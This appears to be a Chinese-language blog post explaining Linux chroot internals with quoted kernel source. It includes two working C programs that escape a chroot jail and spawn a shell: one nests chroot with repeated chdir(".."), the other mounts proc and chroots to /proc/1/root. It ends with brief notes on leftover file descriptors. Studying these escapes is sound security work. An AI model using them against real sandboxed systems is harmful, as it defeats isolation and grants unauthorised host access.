Chroot
首先了解一下chroot的实现,如无特别说明,以下代码均来自于linux-6.11
chroot是一个syscall
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| SYSCALL_DEFINE1(chroot, const char __user *, filename) { struct path path; int error; unsigned int lookup_flags = LOOKUP_FOLLOW | LOOKUP_DIRECTORY; retry: error = user_path_at(AT_FDCWD, filename, lookup_flags, &path); if (error) goto out;
error = path_permission(&path, MAY_EXEC | MAY_CHDIR); if (error) goto dput_and_out;
error = -EPERM; if (!ns_capable(current_user_ns(), CAP_SYS_CHROOT)) goto dput_and_out; error = security_path_chroot(&path); if (error) goto dput_and_out;
set_fs_root(current->fs, &path); error = 0; dput_and_out: path_put(&path); if (retry_estale(error, lookup_flags)) { lookup_flags |= LOOKUP_REVAL; goto retry; } out: return error; }
|
实际的核心实现是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| void set_fs_root(struct fs_struct *fs, const struct path *path) { struct path old_root;
path_get(path); spin_lock(&fs->lock); write_seqcount_begin(&fs->seq); old_root = fs->root; fs->root = *path; write_seqcount_end(&fs->seq); spin_unlock(&fs->lock); if (old_root.dentry) path_put(&old_root); }
|
他更改了current->fs
的root的路径, 这样就会影响当前进程和其子进程相关系统调用对于目录项的查找。
目前所有chroot逃逸的核心,基本都是获取一个不在当前目录的文件描述符,对于这个文件描述符进行操作。
mkdir+chroot
当你可以mkdir时,mkdir一个新的dir时并chroot到此目录时,原目录就在chroot的目录外了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| #include <sys/stat.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h>
int main(void) { chroot("."); mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); printf("err"); }
|
mount
mount proc文件系统可以用来逃逸
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| #include <sys/stat.h> #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <sys/mount.h>
int main(void) {
chroot("."); mkdir("proc", 0755); if ( mount("proc", "/proc", "proc", 0, NULL) ) { perror("Failed to mount proc filesystem"); exit(EXIT_FAILURE); }
chroot("/proc/1/root"); for(int i = 0; i < 1000; i++) { chdir(".."); } system("/bin/sh"); printf("err"); }
|
残留fd
- 如果残留了目录的fd,可以使用openat打开相对于此目录的文件
- 如果残留了socket fd,可能有信息泄露